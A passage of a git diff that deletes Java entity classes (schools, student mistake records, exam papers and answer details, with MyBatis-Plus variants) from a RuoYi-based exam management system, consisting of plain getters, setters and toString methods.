@Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("no", getNo()) - .append("question", getQuestion()) - .append("optionA", getOptionA()) - .append("optionB", getOptionB()) - .append("optionC", getOptionC()) - .append("optionD", getOptionD()) - .append("optionE", getOptionE()) - .append("optionF", getOptionF()) - .append("optionG", getOptionG()) - .append("score", getScore()) - .append("difficulty", getDifficulty()) - .append("pointId", getPointId()) - .append("answer", getAnswer()) - .append("analysisUrl", getAnalysisUrl()) - .append("analysis", getAnalysis()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("categoryId", getCategoryId()) - .append("courseId", getCourseId()) - .append("type", getType()) - .append("examId", getExamId()) - .append("source", getSource()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("auditorId", getAuditorId()) - .append("updateTime", getUpdateTime()) - .append("updaterId", getUpdaterId()) - .append("status", getStatus()) - .append("isDelete", getIsDelete()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchool.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchool.java deleted file mode 100644 index cd3b078..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchool.java +++ /dev/null @@ -1,113 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 出题学校对象 exam_school - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamSchool extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 学校名称 */ - @Excel(name = "学校名称") - private String name; - - /** 省份id */ - @Excel(name = "省份id") - private Long provinceId; - - private String provinceName; - /** 城市id */ - @Excel(name = "城市id") - private Long cityId; - - private String cityName; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public String getProvinceName() { - return provinceName; - } - - public void setProvinceName(String provinceName) { - this.provinceName = provinceName; - } - - public String getCityName() { - return cityName; - } - - public void setCityName(String cityName) { - this.cityName = cityName; - } - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchoolPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchoolPlus.java deleted file mode 100644 index c52521a..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamSchoolPlus.java +++ /dev/null @@ -1,117 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 出题学校对象 exam_school - * - * @author ruoyi - * @date 2021-07-23 - */ -@TableName(value = "exam_school") -public class ExamSchoolPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 学校名称 */ - @Excel(name = "学校名称") - private String name; - /** 省份id */ - @Excel(name = "省份id") - private Long provinceId; - /** 城市id */ - @Excel(name = "城市id") - private Long cityId; - /** 创建时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakes.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakes.java deleted file mode 100644 index 0c4b991..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakes.java +++ /dev/null @@ -1,168 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 错题集对象 exam_student_mistakes - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentMistakes extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - - /** 主键 */ - private Long id; - - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - - private String studentName; - /** 错误答案 */ - @Excel(name = "错误答案") - private String errorAnswer; - - /** 问题id */ - @Excel(name = "问题id") - private Long questionId; - - private String questionName; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 类目名称 */ - @Excel(name = "类目名称") - private String categoryName; - - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - - /** 题目来源 */ - @Excel(name = "题目来源") - private Integer source; - - public String getStudentName() { - return studentName; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public void setStudentName(String studentName) { - this.studentName = studentName; - } - - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setErrorAnswer(String errorAnswer) - { - this.errorAnswer = errorAnswer; - } - - public String getErrorAnswer() - { - return errorAnswer; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCategoryName(String categoryName) - { - this.categoryName = categoryName; - } - - public String getCategoryName() - { - return categoryName; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setSource(Integer source) - { - this.source = source; - } - - public Integer getSource() - { - return source; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("categoryId", getCategoryId()) - .append("id", getId()) - .append("studentId", getStudentId()) - .append("errorAnswer", getErrorAnswer()) - .append("questionId", getQuestionId()) - .append("createTime", getCreateTime()) - .append("status", getStatus()) - .append("categoryName", getCategoryName()) - .append("schoolId", getSchoolId()) - .append("source", getSource()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakesPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakesPlus.java deleted file mode 100644 index c8d540d..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentMistakesPlus.java +++ /dev/null @@ -1,155 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 错题集对象 exam_student_mistakes - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentMistakesPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - /** 主键 */ - private Long id; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - /** 错误答案 */ - @Excel(name = "错误答案") - private String errorAnswer; - /** 问题id */ - @Excel(name = "问题id") - private Long questionId; - /** 创建时间 */ - private Date createTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 类目名称 */ - @Excel(name = "类目名称") - private String categoryName; - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - /** 题目来源 */ - @Excel(name = "题目来源") - private Integer source; - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setErrorAnswer(String errorAnswer) - { - this.errorAnswer = errorAnswer; - } - - public String getErrorAnswer() - { - return errorAnswer; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCategoryName(String categoryName) - { - this.categoryName = categoryName; - } - - public String getCategoryName() - { - return categoryName; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setSource(Integer source) - { - this.source = source; - } - - public Integer getSource() - { - return source; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("categoryId", getCategoryId()) - .append("id", getId()) - .append("studentId", getStudentId()) - .append("errorAnswer", getErrorAnswer()) - .append("questionId", getQuestionId()) - .append("createTime", getCreateTime()) - .append("status", getStatus()) - .append("categoryName", getCategoryName()) - .append("schoolId", getSchoolId()) - .append("source", getSource()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaper.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaper.java deleted file mode 100644 index 62f21e8..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaper.java +++ /dev/null @@ -1,186 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 学生考试试卷实例对象 exam_student_paper - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentPaper extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - - private transient String paperName; - private transient String studentName; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - - /** 开始时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = " 开始时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date startTime; - - /** 结束时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = " 结束时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date endTime; - - /** 考试时长 */ - @Excel(name = "考试时长") - private Long takeTimes; - - /** 得分 */ - @Excel(name = "得分") - private Long score; - - /** 状态(101初始化,201考试中,202取消考试,301提交试卷,302考试超时,401考试结束已评分,402考试结束未评分) */ - @Excel(name = " 状态(101初始化,201考试中,202取消考试,301提交试卷,302考试超时,401考试结束已评分,402考试结束未评分)") - private Integer status; - - /** 考试类型 */ - @Excel(name = "考试类型") - private Integer examType; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public String getPaperName() { - return paperName; - } - - public void setPaperName(String paperName) { - this.paperName = paperName; - } - - public String getStudentName() { - return studentName; - } - - public void setStudentName(String studentName) { - this.studentName = studentName; - } - - public Long getStudentId() - { - return studentId; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setStartTime(Date startTime) - { - this.startTime = startTime; - } - - public Date getStartTime() - { - return startTime; - } - public void setEndTime(Date endTime) - { - this.endTime = endTime; - } - - public Date getEndTime() - { - return endTime; - } - public void setTakeTimes(Long takeTimes) - { - this.takeTimes = takeTimes; - } - - public Long getTakeTimes() - { - return takeTimes; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setExamType(Integer examType) - { - this.examType = examType; - } - - public Integer getExamType() - { - return examType; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("studentId", getStudentId()) - .append("examTime", getExamTime()) - .append("startTime", getStartTime()) - .append("endTime", getEndTime()) - .append("takeTimes", getTakeTimes()) - .append("score", getScore()) - .append("status", getStatus()) - .append("examType", getExamType()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswer.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswer.java deleted file mode 100644 index ce18c47..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswer.java +++ /dev/null @@ -1,351 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 学生答题明细对象 exam_student_paper_answer - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentPaperAnswer extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - - private transient String paperName; - private transient String questionName; - /** 试卷实例id */ - @Excel(name = "试卷实例id") - private Long stuPaperId; - - /** 试卷明细表id */ - @Excel(name = "试卷明细表id") - private Long examPaperItemId; - - /** 试题id */ - @Excel(name = "试题id") - private Long questionId; - - /** 学生答案 */ - @Excel(name = "学生答案") - private String studentAnswer; - - /** 实际答案 */ - @Excel(name = "实际答案") - private String realAnswer; - - /** 答题结果 0错误 1正确 2未作答 4返回有作答 5返回未作答 6交卷未作答 */ - @Excel(name = "答题结果 0错误 1正确 2未作答 4返回有作答 5返回未作答 6交卷未作答") - private Integer result; - - /** 评分方式(1系统评分,2老师评分) */ - @Excel(name = "评分方式(1系统评分,2老师评分)") - private Integer scoreType; - - /** 本题得分 */ - @Excel(name = "本题得分") - private Long score; - - /** 答题耗时 */ - @Excel(name = "答题耗时") - private Integer takeTimes; - - /** 答题时间 */ - @Excel(name = "答题时间") - private Integer answerTime; - - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - - /** 学生省份id */ - @Excel(name = "学生省份id") - private Long stuProvinceId; - - /** 学生城市id */ - @Excel(name = "学生城市id") - private Long stuCityId; - - /** 学生学校id */ - @Excel(name = "学生学校id") - private Long stuSchoolId; - - /** 出题省份id */ - @Excel(name = "出题省份id") - private Long provinceId; - - /** 出题城市id */ - @Excel(name = "出题城市id") - private Long cityId; - - /** 出题学校id */ - @Excel(name = "出题学校id") - private Long schoolId; - - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - - /** 题目类型(详见QuestionTypeEnum) */ - @Excel(name = "题目类型(详见QuestionTypeEnum)") - private Long type; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public String getPaperName() { - return paperName; - } - - public void setPaperName(String paperName) { - this.paperName = paperName; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public Long getPaperId() - { - return paperId; - } - public void setStuPaperId(Long stuPaperId) - { - this.stuPaperId = stuPaperId; - } - - public Long getStuPaperId() - { - return stuPaperId; - } - public void setExamPaperItemId(Long examPaperItemId) - { - this.examPaperItemId = examPaperItemId; - } - - public Long getExamPaperItemId() - { - return examPaperItemId; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentAnswer(String studentAnswer) - { - this.studentAnswer = studentAnswer; - } - - public String getStudentAnswer() - { - return studentAnswer; - } - public void setRealAnswer(String realAnswer) - { - this.realAnswer = realAnswer; - } - - public String getRealAnswer() - { - return realAnswer; - } - public void setResult(Integer result) - { - this.result = result; - } - - public Integer getResult() - { - return result; - } - public void setScoreType(Integer scoreType) - { - this.scoreType = scoreType; - } - - public Integer getScoreType() - { - return scoreType; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setTakeTimes(Integer takeTimes) - { - this.takeTimes = takeTimes; - } - - public Integer getTakeTimes() - { - return takeTimes; - } - public void setAnswerTime(Integer answerTime) - { - this.answerTime = answerTime; - } - - public Integer getAnswerTime() - { - return answerTime; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setStuProvinceId(Long stuProvinceId) - { - this.stuProvinceId = stuProvinceId; - } - - public Long getStuProvinceId() - { - return stuProvinceId; - } - public void setStuCityId(Long stuCityId) - { - this.stuCityId = stuCityId; - } - - public Long getStuCityId() - { - return stuCityId; - } - public void setStuSchoolId(Long stuSchoolId) - { - this.stuSchoolId = stuSchoolId; - } - - public Long getStuSchoolId() - { - return stuSchoolId; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("stuPaperId", getStuPaperId()) - .append("examPaperItemId", getExamPaperItemId()) - .append("questionId", getQuestionId()) - .append("studentAnswer", getStudentAnswer()) - .append("realAnswer", getRealAnswer()) - .append("result", getResult()) - .append("scoreType", getScoreType()) - .append("score", getScore()) - .append("takeTimes", getTakeTimes()) - .append("answerTime", getAnswerTime()) - .append("difficulty", getDifficulty()) - .append("stuProvinceId", getStuProvinceId()) - .append("stuCityId", getStuCityId()) - .append("stuSchoolId", getStuSchoolId()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("courseId", getCourseId()) - .append("type", getType()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswerPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswerPlus.java deleted file mode 100644 index a65d65a..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperAnswerPlus.java +++ /dev/null @@ -1,338 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 学生答题明细对象 exam_student_paper_answer - * - * @author ruoyi - * @date 2021-07-23 - */ -@TableName(value = "exam_student_paper_answer") -public class ExamStudentPaperAnswerPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - /** 试卷实例id */ - @Excel(name = "试卷实例id") - private Long stuPaperId; - /** 试卷明细表id */ - @Excel(name = "试卷明细表id") - private Long examPaperItemId; - /** 试题id */ - @Excel(name = "试题id") - private Long questionId; - /** 学生答案 */ - @Excel(name = "学生答案") - private String studentAnswer; - /** 实际答案 */ - @Excel(name = "实际答案") - private String realAnswer; - /** 答题结果 0错误 1正确 2未作答 4返回有作答 5返回未作答 6交卷未作答 */ - @Excel(name = "答题结果 0错误 1正确 2未作答 4返回有作答 5返回未作答 6交卷未作答") - private Integer result; - /** 评分方式(1系统评分,2老师评分) */ - @Excel(name = "评分方式(1系统评分,2老师评分)") - private Integer scoreType; - /** 本题得分 */ - @Excel(name = "本题得分") - private Long score; - /** 答题耗时 */ - @Excel(name = "答题耗时") - private Integer takeTimes; - /** 答题时间 */ - @Excel(name = "答题时间") - private Integer answerTime; - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - /** 学生省份id */ - @Excel(name = "学生省份id") - private Long stuProvinceId; - /** 学生城市id */ - @Excel(name = "学生城市id") - private Long stuCityId; - /** 学生学校id */ - @Excel(name = "学生学校id") - private Long stuSchoolId; - /** 出题省份id */ - @Excel(name = "出题省份id") - private Long provinceId; - /** 出题城市id */ - @Excel(name = "出题城市id") - private Long cityId; - /** 出题学校id */ - @Excel(name = "出题学校id") - private Long schoolId; - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - /** 题目类型(详见QuestionTypeEnum) */ - @Excel(name = "题目类型(详见QuestionTypeEnum)") - private Long type; - /** 创建时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setStuPaperId(Long stuPaperId) - { - this.stuPaperId = stuPaperId; - } - - public Long getStuPaperId() - { - return stuPaperId; - } - public void setExamPaperItemId(Long examPaperItemId) - { - this.examPaperItemId = examPaperItemId; - } - - public Long getExamPaperItemId() - { - return examPaperItemId; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentAnswer(String studentAnswer) - { - this.studentAnswer = studentAnswer; - } - - public String getStudentAnswer() - { - return studentAnswer; - } - public void setRealAnswer(String realAnswer) - { - this.realAnswer = realAnswer; - } - - public String getRealAnswer() - { - return realAnswer; - } - public void setResult(Integer result) - { - this.result = result; - } - - public Integer getResult() - { - return result; - } - public void setScoreType(Integer scoreType) - { - this.scoreType = scoreType; - } - - public Integer getScoreType() - { - return scoreType; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setTakeTimes(Integer takeTimes) - { - this.takeTimes = takeTimes; - } - - public Integer getTakeTimes() - { - return takeTimes; - } - public void setAnswerTime(Integer answerTime) - { - this.answerTime = answerTime; - } - - public Integer getAnswerTime() - { - return answerTime; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setStuProvinceId(Long stuProvinceId) - { - this.stuProvinceId = stuProvinceId; - } - - public Long getStuProvinceId() - { - return stuProvinceId; - } - public void setStuCityId(Long stuCityId) - { - this.stuCityId = stuCityId; - } - - public Long getStuCityId() - { - return stuCityId; - } - public void setStuSchoolId(Long stuSchoolId) - { - this.stuSchoolId = stuSchoolId; - } - - public Long getStuSchoolId() - { - return stuSchoolId; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("stuPaperId", getStuPaperId()) - .append("examPaperItemId", getExamPaperItemId()) - .append("questionId", getQuestionId()) - .append("studentAnswer", getStudentAnswer()) - .append("realAnswer", getRealAnswer()) - .append("result", getResult()) - .append("scoreType", getScoreType()) - .append("score", getScore()) - .append("takeTimes", getTakeTimes()) - .append("answerTime", getAnswerTime()) - .append("difficulty", getDifficulty()) - .append("stuProvinceId", getStuProvinceId()) - .append("stuCityId", getStuCityId()) - .append("stuSchoolId", getStuSchoolId()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("courseId", getCourseId()) - .append("type", getType()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperPlus.java deleted file mode 100644 index 973d5c6..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamStudentPaperPlus.java +++ /dev/null @@ -1,162 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 学生考试试卷实例对象 exam_student_paper - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamStudentPaperPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - /** 开始时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = " 开始时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date startTime; - /** 结束时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = " 结束时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date endTime; - /** 考试时长 */ - @Excel(name = "考试时长") - private Long takeTimes; - /** 得分 */ - @Excel(name = "得分") - private Long score; - /** 状态(101初始化,201考试中,202取消考试,301提交试卷,302考试超时,401考试结束已评分,402考试结束未评分) */ - @Excel(name = " 状态(101初始化,201考试中,202取消考试,301提交试卷,302考试超时,401考试结束已评分,402考试结束未评分)") - private Integer status; - /** 考试类型 */ - @Excel(name = "考试类型") - private Integer examType; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setStartTime(Date startTime) - { - this.startTime = startTime; - } - - public Date getStartTime() - { - return startTime; - } - public void setEndTime(Date endTime) - { - this.endTime = endTime; - } - - public Date getEndTime() - { - return endTime; - } - public void setTakeTimes(Long takeTimes) - { - this.takeTimes = takeTimes; - } - - public Long getTakeTimes() - { - return takeTimes; - } - public void 